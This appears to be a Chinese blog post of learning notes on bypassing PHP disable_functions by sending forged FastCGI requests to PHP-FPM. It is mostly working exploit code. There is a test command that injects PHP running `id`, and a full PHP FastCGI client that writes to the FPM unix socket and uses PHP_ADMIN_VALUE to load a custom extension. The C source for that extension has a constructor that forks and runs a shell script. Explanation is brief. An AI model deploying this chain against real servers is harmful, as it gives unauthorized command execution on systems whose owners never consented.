首页 > 编程语言 >学习-bypass-php-FastCGI PHPFPM

学习-bypass-php-FastCGI PHPFPM

时间:2022-11-20 16:47:22浏览次数:31  
标签:PHP nlen chr bypass 0xFF php FastCGI

bypass-php-FastCGI PHPFPM

参考资料:

https://www.anquanke.com/post/id/197745#h3-5                PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html            Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/            有个payload

名称解释

​ FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。

​ PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启

​ 即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver

简单使用
伪造请求发送给 PHP-FPM 不就可以任意代码执行

脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

本地测试

python fpm.py -c '<?php echo `id`;exit;?>' -p 9999 127.0.0.1 /var/www/html/test.php
理解
1.webserver接收到用户发来的请求,放到后端语言处理。此时后端编程语言可能各不一样。所以​ FastCGI协议 出现了,规定大家同一的调用方式
2.FastCGI协议封装请求发送到后端,此时后端语言是php,就发送到了PHP-FPM
3.后端处理好了数据,结果返还给webserver

bypass的原理是
    我们自己通过FastCGI协议去和PHP-FPM(因该是php解释器?)进行通信,让PHP-FPM进行相应操作
    因为PHP-FPM,PHP语言有很多特性,可以在加载php文件前加载扩展,所以利用点在这个扩展里
利用
<?php
class Client
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const RESPONDER            = 1;

    protected $keepAlive = false;
    protected $_requests = array();
    protected $_requestCounter = 0;

    protected function buildPacket($type, $content, $requestId = 1)
    {
        $offset = 0;
        $totLen = strlen($content);
        $buf    = '';
        do {
            // Packets can be a maximum of 65535 bytes
            $part = substr($content, $offset, 0xffff - 8);
            $segLen = strlen($part);
            $buf .= chr(self::VERSION_1)        /* version */
                . chr($type)                    /* type */
                . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                . chr($requestId & 0xFF)        /* requestIdB0 */
                . chr(($segLen >> 8) & 0xFF)    /* contentLengthB1 */
                . chr($segLen & 0xFF)           /* contentLengthB0 */
                . chr(0)                        /* paddingLength */
                . chr(0)                        /* reserved */
                . $part;                        /* content */
            $offset += $segLen;
        } while ($offset < $totLen);
        return $buf;
    }

    protected function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    protected function readNvpair($data, $length = null)
    {
        if ($length === null) {
            $length = strlen($data);
        }
        $array = array();
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }

    public function buildAllPacket(array $params, $stdin)
    {
        // Ensure new requestID is not already being tracked
        do {
            $this->_requestCounter++;
            if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
                $this->_requestCounter = 1;
            }
            $id = $this->_requestCounter;
        } while (isset($this->_requests[$id]));
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value, $id);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
        }
        $request .= $this->buildPacket(self::PARAMS, '', $id);
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin, $id);
        }
        $request .= $this->buildPacket(self::STDIN, '', $id);

        return $request;
    }
}
$sock = stream_socket_client("unix:///tmp/php-cgi-70.sock", $errno, $errstr); //linux下的sock连接文件(主要看配置)
$client = new Client();
$payload_file = "/www/wwwroot/xxxx.co/public/index.php";    //只要是网站的php文件就行
$params = array(
    'REQUEST_METHOD' => 'GET',
    'SCRIPT_FILENAME' => $payload_file,
    'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = ext.so",        //自己编译的动态链接库
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
gcc -o ext.so ext.c -fPIC -shared
tesr@ubuntu:~$ cat ext.c
#include <unistd.h>

__attribute__((constructor)) void rawt() {
if (fork() == 0) {
   execl("/bin/bash", "bash", "/tmp/run.sh", NULL);
}
}


效果:访问上面的php文件,建立和fastcgi的通信,提前加载动态链接库执行命令 (/tmp/run.sh 不需要chmod +x也行)

标签:PHP,nlen,chr,bypass,0xFF,php,FastCGI
From: https://www.cnblogs.com/startstart/p/16908806.html

相关文章

  • valet7.1php与本地nginxphp5.6切换操作,以及共存
    一、/usr/local/etc/nginx/nginx.conf不注释,用valet启动、停止默认访问本地项目是php5.6访问valet项目是7.1【解释】:因为本地配置的xxx.conf是在nginx/sites-enabled/......
  • php监听redis key失效触发回调事件
    一、需求分析: 1、设置了生命时间的key,过期的时候能不能提示,能够监听过期的key? 2、怎样用redis实现定时任务? 二、应用场景: 在我们程序中经常会有需要定时执行的程序,比如......
  • PHP解析WAYOS 路由 JSON数据
    <?php@header("content-type:text/html;charset=UTF-8");if(isset($_REQUEST['p'])){$p=$_REQUEST['p'];}else{$p='s';}if(isset($_REQUEST['d'])){......
  • PHP阶段案例之Web表单生成器 转摘的
    HP阶段案例之Web表单生成器①准备表单②定义表单生成函数效果图原码奉上 ①准备表单这里是用form.php文件来保存表单信息,通过$element元素以数组的形......
  • zblogphp GetPostList()与GetArticleList()的区别
    GetArticleList()与 GetPostList()获取文章列表的逻辑大差不差,区别在于:GetArticleList()只会查询 log_Type=0的文章,也就是只查询post_type=0的文章,返回的列表全是\P......
  • java网上商城与php网上商城比较
    java网上商城与php商城比较1.应用比较:JAVA的应用比较广泛,比如世界五百强网站,大型政府网,各大银行等网站都是基于JAVA构建。基于JAVA技术开发的商城......
  • zblogphp如何使用模板引擎Template类如何使用
    Template类的构造函数没有任何参数,所有的功能都是通过调用其成员函数实现的。$template=newTemplate();//设置模板标签.zblog内置的模板变量和sidebar都在该函数绑定......
  • zblogphp的Pagebar类如何使用
    当我们为Zblog开发的插件/模板不走系统内置的ViewXX()编辑器时,模板中就没有pagebar对象了。想用系统的Pagebar功能,但是官方文档里没有介绍该怎么使用,就只能查看源码了。......
  • PHP通过加密计算出短信验证码,无需缓存验证码
    通过加密计算出短信验证码,无需缓存验证码classXixiOtp{private$iKeeptime;//验证码有效期private$sKey;//加密的密钥private$p1Len=1;//验......
  • php将html生成为pdf文件的几个代码包比较
    最近需要开发一个生成pdf文件的程序,试用了下几个生成pdf包的效果<divstyle="width:80%;padding-right:3rem;padding-left:3rem;margin-right:3rem;margin-left:3rem;......